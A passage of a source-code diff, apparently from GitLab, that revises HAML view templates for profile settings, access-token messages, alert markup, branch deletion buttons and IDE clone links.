+++ b/app/views/notify/unknown_sign_in_email.html.haml
@@ -32,7 +32,7 @@
%td{ style: "#{default_style}border-top:1px solid #ededed;" }
= _('Time')
%td{ style: "#{default_style}color:#333333;font-weight:400;width:75%;padding-left:5px;border-top:1px solid #ededed;" }
- = @time.strftime('%Y-%m-%d %l:%M:%S %p %Z')
+ = @time.strftime('%Y-%m-%d %H:%M:%S %Z')
%tr.spacer
%td{ style: spacer_style }
&nbsp;
diff --git a/app/views/profiles/emails/index.html.haml b/app/views/profiles/emails/index.html.haml
index d78b542ae8a..c14efa99555 100644
--- a/app/views/profiles/emails/index.html.haml
+++ b/app/views/profiles/emails/index.html.haml
@@ -22,15 +22,15 @@
.account-well.gl-mb-3
%ul
%li
- = _('Your Primary Email will be used for avatar detection.')
+ - profile_message = _('Your primary email is used for avatar detection. You can change it in your %{openingTag}profile settings%{closingTag}.') % { openingTag: "<a href='#{profile_path}'>".html_safe, closingTag: '</a>'.html_safe}
+ = profile_message.html_safe
%li
- = _('Your Commit Email will be used for web based operations, such as edits and merges.')
+ = _('Your commit email is used for web based operations, such as edits and merges.')
%li
- - address = profile_notifications_path
- - notification_message = _('Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set.') % { openingTag: "<a href='#{address}'>".html_safe, closingTag: '</a>'.html_safe}
+ - notification_message = _('Your default notification email is used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set.') % { openingTag: "<a href='#{profile_notifications_path}'>".html_safe, closingTag: '</a>'.html_safe}
= notification_message.html_safe
%li
- = _('Your Public Email will be displayed on your public profile.')
+ = _('Your public email will be displayed on your public profile.')
%li
= _('All email addresses will be used to identify your commits.')
%ul.content-list
diff --git a/app/views/profiles/notifications/show.html.haml b/app/views/profiles/notifications/show.html.haml
index 853188c563f..22cb95b346a 100644
--- a/app/views/profiles/notifications/show.html.haml
+++ b/app/views/profiles/notifications/show.html.haml
@@ -4,13 +4,15 @@
%div
- if @user.errors.any?
.gl-alert.gl-alert-danger.gl-my-5
- %button.js-close.gl-alert-dismiss{ type: 'button', 'aria-label' => _('Dismiss') }
- = sprite_icon('close', css_class: 'gl-icon')
- = sprite_icon('error', css_class: 'gl-icon gl-alert-icon gl-alert-icon-no-title')
- .gl-alert-body
- %ul
- - @user.errors.full_messages.each do |msg|
- %li= msg
+ .gl-alert-container
+ %button.js-close.btn.gl-dismiss-btn.btn-default.btn-sm.gl-button.btn-default-tertiary.btn-icon{ type: 'button', 'aria-label' => _('Dismiss') }
+ = sprite_icon('close', css_class: 'gl-icon')
+ = sprite_icon('error', css_class: 'gl-icon gl-alert-icon gl-alert-icon-no-title')
+ .gl-alert-content
+ .gl-alert-body
+ %ul
+ - @user.errors.full_messages.each do |msg|
+ %li= msg
= hidden_field_tag :notification_type, 'global'
.row.gl-mt-3
diff --git a/app/views/profiles/personal_access_tokens/index.html.haml b/app/views/profiles/personal_access_tokens/index.html.haml
index ee04d9142b1..3661b93e33c 100644
--- a/app/views/profiles/personal_access_tokens/index.html.haml
+++ b/app/views/profiles/personal_access_tokens/index.html.haml
@@ -40,15 +40,15 @@
%h4.gl-mt-0
= s_('AccessTokens|Feed token')
%p
- = s_('AccessTokens|Your feed token is used to authenticate you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar, and is included in those feed URLs.')
+ = s_('AccessTokens|Your feed token authenticates you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar. It is visible in those feed URLs.')
%p
= s_('AccessTokens|It cannot be used to access any other data.')
.col-lg-8.feed-token-reset
= label_tag :feed_token, s_('AccessTokens|Feed token'), class: 'label-bold'
= text_field_tag :feed_token, current_user.feed_token, class: 'form-control gl-form-input js-select-on-focus', readonly: true
%p.form-text.text-muted
- - reset_link = link_to s_('AccessTokens|reset it'), [:reset, :feed_token, :profile], method: :put, data: { confirm: s_('AccessTokens|Are you sure? Any RSS or calendar URLs currently in use will stop working.') }
- - reset_message = s_('AccessTokens|Keep this token secret. Anyone who gets ahold of it can read activity and issue RSS feeds or your calendar feed as if they were you. You should %{link_reset_it} if that ever happens.') % { link_reset_it: reset_link }
+ - reset_link = link_to s_('AccessTokens|reset this token'), [:reset, :feed_token, :profile], method: :put, data: { confirm: s_('AccessTokens|Are you sure? Any RSS or calendar URLs currently in use will stop working.'), testid: :reset_feed_token_link }
+ - reset_message = s_('AccessTokens|Keep this token secret. Anyone who has it can read activity and issue RSS feeds or your calendar feed as if they were you. If that happens, %{link_reset_it}.') % { link_reset_it: reset_link }
= reset_message.html_safe
- if incoming_email_token_enabled?
@@ -59,15 +59,15 @@
%h4.gl-mt-0
= s_('AccessTokens|Incoming email token')
%p
- = s_('AccessTokens|Your incoming email token is used to authenticate you when you create a new issue by email, and is included in your personal project-specific email addresses.')
+ = s_('AccessTokens|Your incoming email token authenticates you when you create a new issue by email, and is included in your personal project-specific email addresses.')
%p
= s_('AccessTokens|It cannot be used to access any other data.')
.col-lg-8.incoming-email-token-reset
= label_tag :incoming_email_token, s_('AccessTokens|Incoming email token'), class: 'label-bold'
= text_field_tag :incoming_email_token, current_user.incoming_email_token, class: 'form-control gl-form-input js-select-on-focus', readonly: true
%p.form-text.text-muted
- - reset_link = link_to s_('AccessTokens|reset it'), [:reset, :incoming_email_token, :profile], method: :put, data: { confirm: s_('AccessTokens|Are you sure? Any issue email addresses currently in use will stop working.') }
- - reset_message = s_('AccessTokens|Keep this token secret. Anyone who gets ahold of it can create issues as if they were you. You should %{link_reset_it} if that ever happens.') % { link_reset_it: reset_link }
+ - reset_link = link_to s_('AccessTokens|reset this token'), [:reset, :incoming_email_token, :profile], method: :put, data: { confirm: s_('AccessTokens|Are you sure? Any issue email addresses currently in use will stop working.'), testid: :reset_email_token_link }
+ - reset_message = s_('AccessTokens|Keep this token secret. Anyone who has it can create issues as if they were you. If that happens, %{link_reset_it}.') % { link_reset_it: reset_link }
= reset_message.html_safe
- if static_objects_external_storage_enabled?
@@ -78,7 +78,7 @@
%h4.gl-mt-0
= s_('AccessTokens|Static object token')
%p
- = s_('AccessTokens|Your static object token is used to authenticate you when repository static objects (e.g. archives, blobs, ...) are being served from an external storage.')
+ = s_('AccessTokens|Your static object token authenticates you when repository static objects (such as archives or blobs) are served from an external storage.')
%p
= s_('AccessTokens|It cannot be used to access any other data.')
.col-lg-8
@@ -88,5 +88,5 @@
- reset_link = url_for [:reset, :static_object_token, :profile]
- reset_link_start = '<a data-confirm="%{confirm}" rel="nofollow" data-method="put" href="%{url}">'.html_safe % { confirm: s_('AccessTokens|Are you sure?'), url: reset_link }
- reset_link_end = '</a>'.html_safe
- - reset_message = s_('AccessTokens|Keep this token secret. Anyone who gets ahold of it can access repository static objects as if they were you. You should %{reset_link_start}reset it%{reset_link_end} if that ever happens.') % { reset_link_start: reset_link_start, reset_link_end: reset_link_end }
+ - reset_message = s_('AccessTokens|Keep this token secret. Anyone who has it can access repository static objects as if they were you. If that ever happens, %{reset_link_start}reset this token%{reset_link_end}.') % { reset_link_start: reset_link_start, reset_link_end: reset_link_end }
= reset_message.html_safe
diff --git a/app/views/profiles/show.html.haml b/app/views/profiles/show.html.haml
index c3ec2f7bab3..411954aed6a 100644
--- a/app/views/profiles/show.html.haml
+++ b/app/views/profiles/show.html.haml
@@ -11,7 +11,7 @@
.row.js-search-settings-section
.col-lg-4.profile-settings-sidebar
%h4.gl-mt-0
- = s_("Profiles|Public Avatar")
+ = s_("Profiles|Public avatar")
%p
- if @user.avatar?
- if gravatar_enabled?
@@ -27,18 +27,17 @@
.md
= brand_profile_image_guidelines
.col-lg-8
- .clearfix.avatar-image.gl-mb-3
+ .avatar-image
= link_to avatar_icon_for_user(@user, 400), target: '_blank', rel: 'noopener noreferrer' do
- = image_tag avatar_icon_for_user(@user, 160), alt: '', class: 'avatar s160'
+ = image_tag avatar_icon_for_user(@user, 96), alt: '', class: 'avatar s96'
%h5.gl-mt-0= s_("Profiles|Upload new avatar")
- .gl-mt-2.gl-mb-3
- %button.gl-button.btn.js-choose-user-avatar-button{ type: 'button' }= s_("Profiles|Choose file...")
+ .gl-my-3
+ %button.gl-button.btn.btn-default.js-choose-user-avatar-button{ type: 'button' }= s_("Profiles|Choose file...")
%span.avatar-file-name.gl-ml-3.js-avatar-filename= s_("Profiles|No file chosen.")
= f.file_field_without_bootstrap :avatar, class: 'js-user-avatar-input hidden', accept: 'image/*'
- .form-text.text-muted= s_("Profiles|The maximum file size allowed is 200KB.")
+ .gl-text-gray-500= s_("Profiles|The maximum file size allowed is 200KB.")
- if @user.avatar?
- %hr
- = link_to s_("Profiles|Remove avatar"), profile_avatar_path, data: { confirm: s_("Profiles|Avatar will be removed. Are you sure?") }, method: :delete, class: 'gl-button btn btn-danger btn-inverted'
+ = link_to s_("Profiles|Remove avatar"), profile_avatar_path, data: { confirm: s_("Profiles|Avatar will be removed. Are you sure?") }, method: :delete, class: 'gl-button btn btn-danger-secondary btn-sm gl-mt-5'
.col-lg-12
%hr
.row.js-search-settings-section
@@ -101,6 +100,7 @@
= render 'profiles/name', form: f, user: @user
= f.text_field :id, class: 'gl-form-input', readonly: true, label: s_('Profiles|User ID'), wrapper: { class: 'col-md-3' }
+ = f.text_field :pronouns, class: 'input-md gl-form-input', help: s_("Profiles|Enter your pronouns to let people know how to refer to you")
= render_if_exists 'profiles/email_settings', form: f
= f.text_field :skype, class: 'input-md gl-form-input', placeholder: s_("Profiles|username")
= f.text_field :linkedin, class: 'input-md gl-form-input', help: s_("Profiles|Your LinkedIn profile name from linkedin.com/in/profilename")
@@ -124,10 +124,10 @@
= f.check_box :include_private_contributions, label: s_('Profiles|Include private contributions on my profile'), wrapper_class: 'mb-2', inline: true
.help-block
= s_("Profiles|Choose to show contributions of private projects on your public profile without any project, repository or organization information")
- .row.gl-mt-3.gl-mb-3.gl-justify-content-end
- .col-lg-8
- = f.submit s_("Profiles|Update profile settings"), class: 'gl-button btn btn-confirm'
- = link_to _("Cancel"), user_path(current_user), class: 'gl-button btn btn-cancel'
+ .row.gl-justify-content-end.gl-mt-5
+ .col-lg-8.gl-display-flex
+ = f.submit s_("Profiles|Update profile settings"), class: 'gl-button btn btn-confirm gl-mr-3'
+ = link_to _("Cancel"), user_path(current_user), class: 'gl-button btn btn-default btn-cancel'
.modal.modal-profile-crop{ data: { cropper_css_path: ActionController::Base.helpers.stylesheet_path('lazy_bundles/cropper.css') } }
.modal-dialog
@@ -136,7 +136,7 @@
%h4.modal-title
= s_("Profiles|Position and size your new avatar")
%button.close{ type: "button", "data-dismiss": "modal", "aria-label" => _("Close") }
- %span{ "aria-hidden": true } &times;
+ %span{ "aria-hidden": "true" } &times;
.modal-body
.profile-crop-image-container
%img.modal-profile-crop-image{ alt: s_("Profiles|Avatar cropper") }
diff --git a/app/views/profiles/two_factor_auths/show.html.haml b/app/views/profiles/two_factor_auths/show.html.haml
index 71262f4bcb9..3cd571c23d3 100644
--- a/app/views/profiles/two_factor_auths/show.html.haml
+++ b/app/views/profiles/two_factor_auths/show.html.haml
@@ -46,7 +46,9 @@
= form_tag profile_two_factor_auth_path, method: :post do |f|
- if @error
.gl-alert.gl-alert-danger.gl-mb-5
- = @error
+ .gl-alert-container
+ .gl-alert-content
+ = @error
.form-group
= label_tag :pin_code, _('Pin code'), class: "label-bold"
= text_field_tag :pin_code, nil, class: "form-control gl-form-input", required: true, data: { qa_selector: 'pin_code_field' }
diff --git a/app/views/projects/_bitbucket_import_modal.html.haml b/app/views/projects/_bitbucket_import_modal.html.haml
index c54a4ceb890..1379a339feb 100644
--- a/app/views/projects/_bitbucket_import_modal.html.haml
+++ b/app/views/projects/_bitbucket_import_modal.html.haml
@@ -4,7 +4,7 @@
.modal-header
%h3.modal-title Import projects from Bitbucket
%button.close{ type: "button", "data-dismiss": "modal", "aria-label" => _('Close') }
- %span{ "aria-hidden": true } &times;
+ %span{ "aria-hidden": "true" } &times;
.modal-body
To enable importing projects from Bitbucket,
- if current_user.admin?
diff --git a/app/views/projects/_deletion_failed.html.haml b/app/views/projects/_deletion_failed.html.haml
index 7e65f2f1cef..21c799f5bb6 100644
--- a/app/views/projects/_deletion_failed.html.haml
+++ b/app/views/projects/_deletion_failed.html.haml
@@ -2,7 +2,9 @@
- return unless project.delete_error.present?
.project-deletion-failed-message.gl-alert.gl-alert-warning
- = sprite_icon('warning', size: 16, css_class: 'gl-icon gl-alert-icon gl-alert-icon-no-title')
- .gl-alert-body
- This project was scheduled for deletion, but failed with the following message:
- = project.delete_error
+ .gl-alert-container
+ = sprite_icon('warning', size: 16, css_class: 'gl-icon gl-alert-icon gl-alert-icon-no-title')
+ .gl-alert-content
+ .gl-alert-body
+ This project was scheduled for deletion, but failed with the following message:
+ = project.delete_error
diff --git a/app/views/projects/_files.html.haml b/app/views/projects/_files.html.haml
index 8642dc5fc8c..597a22bf34a 100644
--- a/app/views/projects/_files.html.haml
+++ b/app/views/projects/_files.html.haml
@@ -7,7 +7,7 @@
- add_page_startup_api_call project_blob_path(@project, tree_join(@ref, readme_path), viewer: "rich", format: "json")
#tree-holder.tree-holder.clearfix
- .nav-block.gl-display-flex.gl-align-items-center
+ .nav-block.gl-display-flex.gl-xs-flex-direction-column.gl-align-items-stretch
= render 'projects/tree/tree_header', tree: @tree
#js-last-commit
diff --git a/app/views/projects/_gitlab_import_modal.html.haml b/app/views/projects/_gitlab_import_modal.html.haml
index 5519415cdc3..689e100ab96 100644
--- a/app/views/projects/_gitlab_import_modal.html.haml
+++ b/app/views/projects/_gitlab_import_modal.html.haml
@@ -4,7 +4,7 @@
.modal-header
%h3.modal-title Import projects from GitLab.com
%button.close{ type: "button", "data-dismiss": "modal", "aria-label" => _('Close') }
- %span{ "aria-hidden": true } &times;
+ %span{ "aria-hidden": "true" } &times;
.modal-body
To enable importing projects from GitLab.com,
- if current_user.admin?
diff --git a/app/views/projects/_home_panel.html.haml b/app/views/projects/_home_panel.html.haml
index a70679dab5f..26291c0358e 100644
--- a/app/views/projects/_home_panel.html.haml
+++ b/app/views/projects/_home_panel.html.haml
@@ -25,14 +25,14 @@
%span.access-request-links.gl-ml-3
= render 'shared/members/access_request_links', source: @project
- - if @project.tag_list.present?
- = cache_if(cache_enabled, [@project, :tag_list], expires_in: 1.day) do
+ - if @project.topic_list.present?
+ = cache_if(cache_enabled, [@project, :topic_list], expires_in: 1.day) do
%span.home-panel-topic-list.mt-2.w-100.d-inline-flex.gl-font-base.gl-font-weight-normal.gl-align-items-center
= sprite_icon('tag', css_class: 'icon gl-relative gl-mr-2')
- @project.topics_to_show.each do |topic|
- project_topics_classes = "badge badge-pill badge-secondary gl-mr-2"
- - explore_project_topic_path = explore_projects_path(tag: topic)
+ - explore_project_topic_path = explore_projects_path(topic: topic)
- if topic.length > max_project_topic_length
%a{ class: "#{ project_topics_classes } str-truncated-30 has-tooltip", data: { container: "body" }, title: topic, href: explore_project_topic_path, itemprop: 'keywords' }
= topic.titleize
diff --git a/app/views/projects/_import_project_pane.html.haml b/app/views/projects/_import_project_pane.html.haml
index c0fe788b56a..e6ded3ad912 100644
--- a/app/views/projects/_import_project_pane.html.haml
+++ b/app/views/projects/_import_project_pane.html.haml
@@ -83,7 +83,7 @@
.js-toggle-content.toggle-import-form{ class: ('hide' if active_tab != 'import') }
- = form_for @project, html: { class: 'new_project gl-show-field-errors' } do |f|
+ = form_for @project, html: { class: 'new_project' } do |f|
%hr
= render "shared/import_form", f: f
= render 'projects/new_project_fields', f: f, project_name_id: "import-url-name", hide_init_with_readme: true, track_label: track_label
diff --git a/app/views/projects/_invite_members.html.haml b/app/views/projects/_invite_members.html.haml
index e3a512d6451..ab630d34501 100644
--- a/app/views/projects/_invite_members.html.haml
+++ b/app/views/projects/_invite_members.html.haml
@@ -3,6 +3,10 @@
track_event: 'render' } }
= s_('InviteMember|Invite your team')
%p= s_('InviteMember|Add members to this project and start collaborating with your team.')
-= link_to s_('InviteMember|Invite members'), project_project_members_path(@project, sort: :access_level_desc),
- class: 'gl-button btn btn-confirm gl-mb-8 gl-xs-w-full',
- data: { track_event: 'click_button', track_label: 'invite_members_empty_project' }
+.js-invite-members-trigger{ data: { variant: 'confirm',
+ classes: 'gl-mb-8 gl-xs-w-full',
+ display_text: s_('InviteMember|Invite members'),
+ event: 'click_button',
+ label: 'invite_members_empty_project' } }
+
+= render 'shared/issuable/invite_members_trigger', project: @project
diff --git a/app/views/projects/_visibility_modal.html.haml b/app/views/projects/_visibility_modal.html.haml
index 990ac9fefb9..f75216a71b6 100644
--- a/app/views/projects/_visibility_modal.html.haml
+++ b/app/views/projects/_visibility_modal.html.haml
@@ -7,7 +7,7 @@
.modal-header
%h3.page-title= _('Reduce this project’s visibility?')
%button.close{ type: "button", "data-dismiss": "modal", "aria-label" => _('Close') }
- %span{ "aria-hidden": true }= sprite_icon("close")
+ %span{ "aria-hidden": "true" }= sprite_icon("close")
.modal-body
%p
- if @project.group
diff --git a/app/views/projects/blob/_blob.html.haml b/app/views/projects/blob/_blob.html.haml
index e50b964a253..9fa65f27651 100644
--- a/app/views/projects/blob/_blob.html.haml
+++ b/app/views/projects/blob/_blob.html.haml
@@ -1,4 +1,6 @@
= render "projects/blob/breadcrumb", blob: blob
+- project = @project.present(current_user: current_user)
+- ref = local_assigns[:ref] || @ref
.info-well.d-none.d-sm-block
.well-segment
@@ -12,7 +14,12 @@
- if @code_navigation_path
#js-code-navigation{ data: { code_navigation_path: @code_navigation_path, blob_path: blob.path, definition_path_prefix: project_blob_path(@project, @ref) } }
- if Feature.enabled?(:refactor_blob_viewer, @project, default_enabled: :yaml)
- #js-view-blob-app{ data: { blob_path: blob.path, project_path: @project.full_path } }
+ -# Data info will be removed once we migrate this to use GraphQL
+ -# Follow-up issue: https://gitlab.com/gitlab-org/gitlab/-/issues/330406
+ #js-view-blob-app{ data: { blob_path: blob.path,
+ project_path: @project.full_path,
+ target_branch: project.empty_repo? ? ref : @ref,
+ original_branch: @ref } }
.gl-spinner-container
= loading_icon(size: 'md')
- else
diff --git a/app/views/projects/blob/_header_content.html.haml b/app/views/projects/blob/_header_content.html.haml
index b310939c5a3..95a5d63e07f 100644
--- a/app/views/projects/blob/_header_content.html.haml
+++ b/app/views/projects/blob/_header_content.html.haml
@@ -1,4 +1,6 @@
.file-header-content
+ - if Gitlab::MarkupHelper.gitlab_markdown?(blob.path)
+ .js-table-contents
= blob_icon blob.mode, blob.name
%strong.file-title-name.gl-word-break-all{ data: { qa_selector: 'file_name_content' } }
diff --git a/app/views/projects/blob/_new_dir.html.haml b/app/views/projects/blob/_new_dir.html.haml
index 57477e59167..905dc2a49ec 100644
--- a/app/views/projects/blob/_new_dir.html.haml
+++ b/app/views/projects/blob/_new_dir.html.haml
@@ -4,7 +4,7 @@
.modal-header
%h3.page-title= _('Create New Directory')
%button.close{ type: "button", "data-dismiss": "modal", "aria-label" => _('Close') }
- %span{ "aria-hidden": true } &times;
+ %span{ "aria-hidden": "true" } &times;
.modal-body
= form_tag project_create_dir_path(@project, @id), method: :post, remote: false, class: 'js-create-dir-form js-quick-submit js-requires-input' do
.form-group.row
diff --git a/app/views/projects/blob/_remove.html.haml b/app/views/projects/blob/_remove.html.haml
index d3440ee41b5..298a36e28ec 100644
--- a/app/views/projects/blob/_remove.html.haml
+++ b/app/views/projects/blob/_remove.html.haml
@@ -4,7 +4,7 @@
.modal-header
%h3.page-title Delete #{@blob.name}
%button.close{ type: "button", "data-dismiss": "modal", "aria-label" => _('Close') }
- %span{ "aria-hidden": true } &times;
+ %span{ "aria-hidden": "true" } &times;
.modal-body
= form_tag project_blob_path(@project, @id), method: :delete, class: 'js-delete-blob-form js-quick-submit js-requires-input' do
diff --git a/app/views/projects/blob/_upload.html.haml b/app/views/projects/blob/_upload.html.haml
index 28e33e3ac9b..6d2751bb7d4 100644
--- a/app/views/projects/blob/_upload.html.haml
+++ b/app/views/projects/blob/_upload.html.haml
@@ -4,7 +4,7 @@
.modal-header
%h3.page-title= title
%button.close{ type: "button", "data-dismiss": "modal", "aria-label" => _('Close') }
- %span{ "aria-hidden": true } &times;
+ %span{ "aria-hidden": "true" } &times;
.modal-body
= form_tag form_path, method: method, class: 'js-quick-submit js-upload-blob-form', data: { method: method } do
.dropzone
diff --git a/app/views/projects/blob/_viewer.html.haml b/app/views/projects/blob/_viewer.html.haml
index a0d82ffd2c7..8713ce79d96 100644
--- a/app/views/projects/blob/_viewer.html.haml
+++ b/app/views/projects/blob/_viewer.html.haml
@@ -5,6 +5,7 @@
- external_embed = local_assigns.fetch(:external_embed, false)
- viewer_url = local_assigns.fetch(:viewer_url) { url_for(safe_params.merge(viewer: viewer.type, format: :json)) } if load_async
+- add_page_startup_api_call viewer_url
.blob-viewer{ data: { type: viewer.type, rich_type: rich_type, url: viewer_url, path: viewer.blob.path }, class: ('hidden' if hidden) }
- if render_error
= render 'projects/blob/render_error', viewer: viewer
diff --git a/app/views/projects/blob/edit.html.haml b/app/views/projects/blob/edit.html.haml
index 9f89981e7ca..ecbef9a11a7 100644
--- a/app/views/projects/blob/edit.html.haml
+++ b/app/views/projects/blob/edit.html.haml
@@ -5,11 +5,13 @@
- if @conflict
.gl-alert.gl-alert-danger.gl-mb-5.gl-mt-5
- = sprite_icon('error', size: 16, css_class: 'gl-icon gl-alert-icon gl-alert-icon-no-title')
- .gl-alert-body
- Someone edited the file the same time you did. Please check out
- = link_to "the file", project_blob_path(@project, tree_join(@branch_name, @file_path)), target: "_blank", rel: 'noopener noreferrer', class: 'gl-link'
- and make sure your changes will not unintentionally remove theirs.
+ .gl-alert-container
+ = sprite_icon('error', size: 16, css_class: 'gl-icon gl-alert-icon gl-alert-icon-no-title')
+ .gl-alert-content
+ .gl-alert-body
+ Someone edited the file the same time you did. Please check out
+ = link_to _('the file'), project_blob_path(@project, tree_join(@branch_name, @file_path)), target: "_blank", rel: 'noopener noreferrer', class: 'gl-link'
+ and make sure your changes will not unintentionally remove theirs.
%h3.page-title.blob-edit-page-title
Edit file
diff --git a/app/views/projects/branches/_branch.html.haml b/app/views/projects/branches/_branch.html.haml
index a5414ce7ef2..60cb06f71ba 100644
--- a/app/views/projects/branches/_branch.html.haml
+++ b/app/views/projects/branches/_branch.html.haml
@@ -46,35 +46,40 @@
title: s_('Branches|Compare') do
= s_('Branches|Compare')
- = render 'projects/buttons/download', project: @project, ref: branch.name, pipeline: @refs_pipelines[branch.name]
+ = render 'projects/buttons/download', project: @project, ref: branch.name, pipeline: @refs_pipelines[branch.name], class: 'gl-vertical-align-top'
- - if can?(current_user, :push_code, @project)
+ - if Feature.enabled?(:delete_branch_confirmation_modals, @project, default_enabled: :yaml)
+ = render 'projects/branches/delete_branch_modal_button', project: @project, branch: branch, merged: merged
+
+ - elsif can?(current_user, :push_code, @project)
- if branch.name == @project.repository.root_ref
- delete_default_branch_tooltip = s_('Branches|The default branch cannot be deleted')
- %span.has-tooltip{ title: delete_default_branch_tooltip }
- %button{ class: "gl-button btn btn-danger disabled", disabled: true, 'aria-label' => delete_default_branch_tooltip }
- = sprite_icon("remove")
+ %span.gl-display-inline-block.has-tooltip{ title: delete_default_branch_tooltip }
+ %button{ class: 'gl-button btn btn-default btn-icon disabled', disabled: true, 'aria-label' => delete_default_branch_tooltip }
+ = sprite_icon('remove', css_class: 'gl-button-icon gl-icon')
- elsif protected_branch?(@project, branch)
- if can?(current_user, :push_to_delete_protected_branch, @project)
- %button{ class: "gl-button btn btn-danger has-tooltip",
- title: s_('Branches|Delete protected branch'),
- data: { toggle: "modal",
- target: "#modal-delete-branch",
+ - delete_protected_branch_tooltip = s_('Branches|Delete protected branch')
+ %button{ class: 'gl-button btn btn-default btn-icon has-tooltip',
+ title: delete_protected_branch_tooltip,
+ 'aria-label' => delete_protected_branch_tooltip,
+ data: { toggle: 'modal',
+ target: '#modal-delete-branch',
delete_path: project_branch_path(@project, branch.name),
branch_name: branch.name,
- is_merged: ("true" if merged) } }
- = sprite_icon("remove")
+ is_merged: ('true' if merged) } }
+ = sprite_icon('remove', css_class: 'gl-button-icon gl-icon')
- else
- - delete_protected_branch_tooltip = s_('Branches|Only a project maintainer or owner can delete a protected branch')
- %span.has-tooltip{ title: delete_protected_branch_tooltip }
- %button{ class: "gl-button btn btn-danger disabled", disabled: true, 'aria-label' => delete_protected_branch_tooltip }
- = sprite_icon("remove")
+ - delete_protected_branch_disabled_tooltip = s_('Branches|Only a project maintainer or owner can delete a protected branch')
+ %span.has-tooltip{ title: delete_protected_branch_disabled_tooltip }
+ %button{ class: 'gl-button btn btn-default btn-icon disabled', disabled: true, 'aria-label' => delete_protected_branch_disabled_tooltip, data: { testid: 'remove-protected-branch' } }
+ = sprite_icon('remove', css_class: 'gl-button-icon gl-icon')
- else
= link_to project_branch_path(@project, branch.name),
- class: "gl-button btn btn-danger js-remove-row qa-remove-btn js-ajax-loading-spinner has-tooltip",
+ class: 'gl-button btn btn-default btn-icon js-remove-row qa-remove-btn js-ajax-loading-spinner has-tooltip',
title: s_('Branches|Delete branch'),
method: :delete,
data: { confirm: s_("Branches|Deleting the '%{branch_name}' branch cannot be undone. Are you sure?") % { branch_name: branch.name } },
remote: true,
'aria-label' => s_('Branches|Delete branch') do
- = sprite_icon("remove")
+ = sprite_icon('remove', css_class: 'gl-button-icon gl-icon')
diff --git a/app/views/projects/branches/_delete_branch_modal_button.html.haml b/app/views/projects/branches/_delete_branch_modal_button.html.haml
new file mode 100644
index 00000000000..829a459ad2c
--- /dev/null
+++ b/app/views/projects/branches/_delete_branch_modal_button.html.haml
@@ -0,0 +1,18 @@
+- if branch.name == @project.repository.root_ref
+ .js-delete-branch-button{ data: { tooltip: s_('Branches|The default branch cannot be deleted'),
+ disabled: true.to_s } }
+- elsif protected_branch?(@project, branch)
+ - if can?(current_user, :push_to_delete_protected_branch, @project)
+ .js-delete-branch-button{ data: { branch_name: branch.name,
+ is_protected_branch: true.to_s,
+ merged: merged.to_s,
+ default_branch_name: @project.repository.root_ref,
+ delete_path: project_branch_path(@project, branch.name) } }
+ - else
+ .js-delete-branch-button{ data: { is_protected_branch: true.to_s,
+ disabled: true.to_s } }
+- else
+ .js-delete-branch-button{ data: { branch_name: branch.name,
+ merged: merged.to_s,
+ default_branch_name: @project.repository.root_ref,
+ delete_path: project_branch_path(@project, branch.name) } }
diff --git a/app/views/projects/branches/_delete_protected_modal.html.haml b/app/views/projects/branches/_delete_protected_modal.html.haml
index 5c5653401fb..2b45b4eddcc 100644
--- a/app/views/projects/branches/_delete_protected_modal.html.haml
+++ b/app/views/projects/branches/_delete_protected_modal.html.haml
@@ -7,7 +7,7 @@
%span.js-branch-name.ref-name>[branch name]
= s_("Branches|Delete protected branch '%{branch_name}'?").html_safe % { branch_name: title_branch_name }
%button.close{ type: "button", "data-dismiss": "modal", "aria-label" => _('Close') }
- %span{ "aria-hidden": true } &times;
+ %span{ "aria-hidden": "true" } &times;
.modal-body
%p
diff --git a/app/views/projects/branches/index.html.haml b/app/views/projects/branches/index.html.haml
index 129b207a26f..b1d465d0e75 100644
--- a/app/views/projects/branches/index.html.haml
+++ b/app/views/projects/branches/index.html.haml
@@ -46,7 +46,7 @@
%ul.content-list.all-branches
- @branches.each do |branch|
= render "projects/branches/branch", branch: branch, merged: @merged_branch_names.include?(branch.name), commit_status: @branch_pipeline_statuses[branch.name], show_commit_status: @branch_pipeline_statuses.any?
- - if Feature.enabled?(:branches_pagination_without_count, @project, default_enabled: true)
+ - if Feature.enabled?(:branches_pagination_without_count, @project, default_enabled: :yaml)
= render('kaminari/gitlab/without_count', previous_path: @prev_path, next_path: @next_path)
- else
= paginate @branches, theme: 'gitlab'
@@ -54,4 +54,7 @@
.nothing-here-block
= s_('Branches|No branches to show')
-= render 'projects/branches/delete_protected_modal'
+- if Feature.enabled?(:delete_branch_confirmation_modals, @project, default_enabled: :yaml) && can?(current_user, :push_code, @project)
+ .js-delete-branch-modal
+- elsif can?(current_user, :push_code, @project)
+ = render 'projects/branches/delete_protected_modal'
diff --git a/app/views/projects/buttons/_clone.html.haml b/app/views/projects/buttons/_clone.html.haml
index ee195e69a98..74d10f11898 100644
--- a/app/views/projects/buttons/_clone.html.haml
+++ b/app/views/projects/buttons/_clone.html.haml
@@ -26,14 +26,19 @@
= clipboard_button(target: '#http_project_clone', title: _("Copy URL"), class: "input-group-text gl-button btn btn-icon btn-default")
= render_if_exists 'projects/buttons/geo'
%li.divider.mt-2
- %li.pt-2.gl-new-dropdown-item
- %label.label-bold{ class: 'gl-px-4!' }
- = _('Open in your IDE')
+ %li.pt-2.gl-new-dropdown-item
+ %label.label-bold{ class: 'gl-px-4!' }
+ = _('Open in your IDE')
+ - if ssh_enabled?
+ %a.dropdown-item.open-with-link{ href: 'vscode://vscode.git/clone?url=' + CGI.escape(project.ssh_url_to_repo) }
+ .gl-new-dropdown-item-text-wrapper
+ = _('Visual Studio Code (SSH)')
+ - if http_enabled?
%a.dropdown-item.open-with-link{ href: 'vscode://vscode.git/clone?url=' + CGI.escape(project.http_url_to_repo) }
.gl-new-dropdown-item-text-wrapper
- = _('Visual Studio Code')
- - if show_xcode_link?(@project)
- %a.dropdown-item.open-with-link{ href: xcode_uri_to_repo(@project) }
- .gl-new-dropdown-item-text-wrapper
- = _("Xcode")
+ = _('Visual Studio Code (HTTPS)')
+ - if show_xcode_link?(@project)
+ %a.dropdown-item.open-with-link{ href: xcode_uri_to_repo(@project) }
+ .gl-new-dropdown-item-text-wrapper
+ = _("Xcode")
= render_if_exists 'projects/buttons/kerberos_clone_field'
diff --git a/app/views/projects/buttons/_download.html.haml b/app/views/projects/buttons/_download.html.haml
index 2f89a3f62ed..2d32e07d379 100644
--- a/app/views/projects/buttons/_download.html.haml
+++ b/app/views/projects/buttons/_download.html.haml
